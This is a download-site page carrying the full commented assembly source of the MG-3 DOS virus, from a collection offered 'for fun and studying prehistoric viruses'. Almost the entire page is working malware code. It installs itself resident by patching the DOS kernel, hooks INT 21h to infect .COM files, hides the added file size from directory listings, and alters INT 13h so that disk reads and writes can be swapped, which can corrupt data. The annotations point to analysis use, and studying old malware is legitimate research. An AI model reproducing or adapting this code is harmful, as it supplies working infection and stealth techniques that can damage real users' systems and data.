⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mg-3.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
字号:
	page	,132
;
;  name: mg-3.vom
;
;  program type: com/bin
;
;  cpu type: 8086
;
;  program loaded at 0000:01f8
;
;  physical eof at 0000:03f5
;
;  program entry point at 0000:01f8
;
fun	segment
assume	cs:fun,ds:fun,es:fun,ss:fun
;
;  references before the start of code space
;
	org	0006h
h_0006	label	word
	org	004ch
h_004c	label	word
	org	004eh
h_004e	label	word
	org	0090h
h_0090	label	word
	org	0092h
h_0092	label	word
;
;  data references to code space addresses
;
;	org	0339h
;h_0339	label	byte
;
;  start of program
;
	org	01f8h
h_01f8:
	call	h_0204				;goto virus
	nop	
	mov	ax,4c00h
	int	21h				;terminate program
;
h_0201	db	0ebh,02h,90h			;saved_prog_start
h_0204:
	xchg	ax,dx				;save ax
	pop	di				;get return address
	dec	di				;back by 2
	dec	di				;to CALL ofs
	mov	si,[di]				;get call ofs
	dec	di				;back 1 to start of program
	add	si,di				;call ofs plus prog start
						;= saved_prog_start
	push	cs				;save cs
	push	di				;and di for program start
	cld					;up!
	movsw					;replace 1st word
	movsb					;and 3rd byte of program
	mov	ax,4b04h			;fn = virus ID
	int	21h				;call DOS
	jae	h_027f				;OK (installed), skip this
	xor	ax,ax				;get a 0
	mov	es,ax				;address INT seg
	mov	di,0204h			;es:di = new virus home
	mov	cx,offset h_03f5-h_0204		;virus size (01f1h)
	repz	movsb				;copy virus to low mem
	les	di,[0006h]			;get seg:ofs of CPMtype doscall
	mov	al,0eah				;JMPF instruction
	dec	cx				;cx = 0FFFFh
	repnz	scasb				;find JMPF
	les	di,es:[di]			;get seg:ofs to DOS
	sub	di,-21h				;up to ??
	jmp	0000h:0239h			;goto virus in low memory
h_0239:
	push	es				;DOS seg
	pop	ds				;to ds
	mov	si,[di-04h]			;get ptr to max_dos_fn
	lodsb					;get that byte
	cmp	al,68h				;at least 68?
	mov	[di-03h],al			;set immediate compare value
	mov	word ptr [di-05h],0fc80h	;CMP AH,xx instruction
	mov	word ptr [di-07h],0fccdh	;INT 0FCH instruction
	push	cs				;current segment
	pop	ds				;to ds
	mov	[03fch],di			;set INT FF ofs to DOS entry
	mov	[03feh],es			;and INT FF seg to DOS entry
				;BUG: need to have INT FF point to the
				;     CMP AH,xx instruction they
				;     have set up!!!
	mov	byte ptr [h_0339],0ah		;set dosver_skip
	jnae	h_026e				;not DOS 3.3+, skip this
	mov	byte ptr [h_0339],00h		;reset dosver_skip
	mov	word ptr [h_07b4],offset h_03db	;set ofs of saved INT 13 vector
	mov	[h_07b6],cs			;and seg of saved INT 13 vector
						;in IBMBIO.COM
				;NOTE: How stable are these locations?!?!?!
h_026e:
	mov	al,0a9h				;TEST AX,xxxx instruction
h_0270:
	repnz	scasb				;find it
	cmp	word ptr es:[di],-28h		;immediate value = 0FFD8h?
				;NOTE: test for illegal flag values
	jnz	h_0270				;no, try again
	mov	al,18h				;new immediate value: 0FF18h
				;NOTE: remove "our" flag from illegal values
	stosb					;modify test instr
	push	ss				;copy PSP seg
	pop	ds				;to ds
	push	ss				;and again
	pop	es				;to es
h_027f:
	xchg	ax,dx				;get original AX back
	retf					;and execute infected program
;
;			intfchere
;
h_0281:
	push	ax				;save regs
	push	dx
	push	ds
	push	cx
	push	bx
	push	es
	cmp	ax,4b04h			;fn = virus ID?
	jz	h_02ad				;yes, cleanup and exit NC
	xchg	ax,cx				;save ax
	mov	ah,2fh				;fn = get DTA
	int	0ffh				;call DOS
	cmp	ch,11h				;fn = FCB find first?
	jz	h_029b				;yes, stop here
	cmp	ch,12h				;fn = FCB find next?
	jnz	h_02b4				;no, skip this
h_029b:
	xchg	ax,cx				;get fn back
	int	0ffh				;call to DOS
	push	ax				;save return code
	test	byte ptr es:[bx+13h],0c0h	;check our attribute bits
	jz	h_02ac				;not set, skip this
	sub	word ptr es:[bx+24h],offset h_03f5-h_0201
					;update filesize to hide virus (01f4h)
h_02ac:
	pop	ax				;restore regs
h_02ad:
	pop	es
	pop	bx
	pop	cx
	add	sp,+0ch				;cleanup stack
	iret					;and return to caller
				;BUG: Should preserve returned flags!
h_02b4:
	mov	ah,19h				;fn = get current disk
	int	0ffh				;call to DOS
	push	ax				;save disk
	cmp	ch,36h				;fn = get disk free space?
	jz	h_02e9				;yes, stop here
	cmp	ch,4eh				;fn = find first?
	jz	h_02e0				;yes, stop here
	cmp	ch,4bh				;fn = load/execute?
	jz	h_02e0				;yes, stop here
	cmp	ch,47h				;fn = get current dir?
	jnz	h_02d1				;no, skip this
	cmp	al,02h				;drive >= C:?
	jae	h_02ee				;yes, stop here
h_02d1:
	cmp	ch,5bh				;fn = create new file?
	jz	h_02e0				;yes, stop here
	shr	ch,1				;fn / 2
	cmp	ch,1eh				;fn = 3C or 3D?
						;create file or open file?
	jz	h_02e0				;yes, stop here
	jmp	h_03bb				;else continue DOS call
h_02e0:
	mov	ax,121ah			;fn = get file's drive
	xchg	si,dx				;ds:si = filename
	int	2fh				;multiplex interrupt
	xchg	ax,dx				;ax = old si, dx = drive
	xchg	ax,si				;old si to si
h_02e9:
	mov	ah,0eh				;fn = set current disk
	dec	dx				;drive A: = 0, B: = 2, etc
	int	0ffh				;call to DOS
h_02ee:
	push	es				;save dta seg
	push	bx				;and dta ofs
	sub	sp,+2ch				;allocate locals
	mov	dx,sp				;get ptr to local DTA
	push	sp				;save ptr to local DTA
	mov	ah,1ah				;fn = set DTA
	push	ss				;stack segment
	pop	ds				;is DTA seg
	int	0ffh				;call to DOS
	mov	bx,dx				;bx = ptr to DTA
	push	cs				;current segment
	pop	ds				;to ds
	mov	ah,4eh				;fn = find first matching file
	mov	dx,offset h_03e9		;ds:dx = wildcard_com
	mov	cx,0003h			;attributes = HIDDEN, Read-Only
	int	0ffh				;call to DOS
	jnae	h_0319				;error, cleanup and exit
h_030c:
	test	byte ptr ss:[bx+15h],80h	;our attribute set?
	jz	h_031c				;no, continue
			;BUG: If it will re-infect a file with the
			;     MG-2 attribute set, then the above
			;     size change mask will FAIL!
h_0313:
	mov	ah,4fh				;fn = find next matching file
	int	0ffh				;call to DOS
	jae	h_030c				;OK, check out this file
h_0319:
	jmp	h_03b2				;cleanup and exit
h_031c:
	cmp	byte ptr ss:[bx+1bh],0fdh	;file too big?
	ja	h_0313				;yes, try next file
	mov	word ptr [0090h],offset h_03c7	;set INT24HERE ofs
	mov	[0092h],cs			;and INT24HERE seg
				;NOTE: The original values are NOT saved!
	les	ax,[004ch]			;get INT 13 vector
	mov	[h_03f7],ax			;save oldint13ofs
	mov	[h_03f9],es			;and oldint13seg
h_0339	equ	$+1		;dosver_skip
	jmp	short h_033a			;if not DOS 3.3+, skip this
h_033a:
	mov	word ptr [004ch],offset h_03ca	;set ofs of INT13HERE_2
	mov	[004eh],cs			;and new INT 13 seg, too
;
;   dosver_skip comes here
;
	push	ss				;DTA seg
	pop	ds				;to ds
	push	word ptr [bx+16h]		;save file time
	push	word ptr [bx+18h]		;and file date
	push	word ptr [bx+15h]		;and file attributes
	lea	dx,[bx+1eh]			;ds:dx = name found in DTA
	mov	ax,4301h			;fn = set file attributes
	pop	cx				;get file attributes
	and	cx,00feh			;high byte, R/O bit off
	or	cl,0c0h				;set our attributes
	int	0ffh				;call to DOS
	mov	ax,3d02h			;fn = open file for read/write
	int	0ffh				;call to DOS
	xchg	ax,bx				;handle to bx
	push	cs				;current segment
	pop	ds				;to ds
	mov	ah,3fh				;fn = read file
	mov	cx,0003h			;size of saved_prog_start
	mov	dx,offset h_0201		;ds:dx = saved_prog_start
	int	0ffh				;call to DOS
	mov	ax,4202h			;fn = lseek to EOF+CX:DX
	xor	dx,dx				;cx:dx = 0
	mov	cx,dx
	int	0ffh				;call to DOS
	mov	[h_03f5],ax			;save virus_call_ofs
	mov	ah,40h				;fn = write to file
	mov	cx,offset h_03f5-h_0201		;virus size (01f4h)
	mov	dx,offset h_0201		;ds:dx = this virus
	int	0ffh				;call to DOS
	jnae	h_039c				;error, cleanup and quit
	mov	ax,4200h			;fn = lseek to BOF+CX:DX
	xor	dx,dx				;cx:dx = 0
	mov	cx,dx
	int	0ffh				;call to DOS
	mov	ah,40h				;fn = write to file
	mov	cx,0003h			;size of virus_call
	mov	dx,offset h_03f4		;ds:dx = virus_call
	int	0ffh				;call to DOS
h_039c:
	mov	ax,5701h			;fn = set file time/date
	pop	dx				;restore file date
	pop	cx				;and file time
	int	0ffh				;call to DOS
	mov	ah,3eh				;fn = close file
	int	0ffh				;call to DOS
	les	ax,[h_03f7]			;get oldint13
	mov	[004ch],ax			;restore INT 13 ofs
	mov	[004eh],es			;and INT 13 seg
h_03b2:
	add	sp,+2eh				;clean stuff off stack
	pop	dx				;restore old DTA ofs
	pop	ds				;and old DTA seg
	mov	ah,1ah				;fn = set DTA
	int	0ffh				;call to DOS
h_03bb:
	pop	dx				;get default drive back
	mov	ah,0eh				;fn = set current drive
	int	0ffh				;call to DOS
	pop	es				;restore regs
	pop	bx
	pop	cx
	pop	ds
	pop	dx
	pop	ax
	iret					;continue INT 21
;
;			int24here
;
h_03c7:
	mov	al,03h				;response = FAIL
	iret					;and done
;
;			int13here_2
;
h_03ca:
	cmp	ah,03h				;fn = write?
	jnz	h_03d6				;no, skip this
	inc	byte ptr cs:[h_03ef]		;update ??
	dec	ah				;change function to read
h_03d6:
	jmp	dword ptr cs:[h_03f7]		;and continue INT 13
;
;			int13here
;
h_03db:
	shr	byte ptr cs:[h_03ef],1		;update ??
	jae	h_03e4				;yes, skip this
	inc	ah				;change function
			;i.e. read changes to write, etc!
h_03e4:
	jmp	dword ptr cs:[h_07b0]		;continue INT 13
;
h_03e9	db	"* .COM"			;wildcard_com
h_03ef	db	00h
			;NOTE: location of following data CANNOT change!
h_03f0	dw	h_0281,0000h			;INT 0FCH vector!
h_03f4	db	0e8h				;virus_call
h_03f5	equ	$
;
;  references after the end of code space
;
	org	03f5h
h_03f5	label	word		;virus_call_ofs
	org	03f7h
h_03f7	label	word		;oldint13ofs
	org	03f9h
h_03f9	label	word		;oldint13seg
fun	ends
	end	h_01f8

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -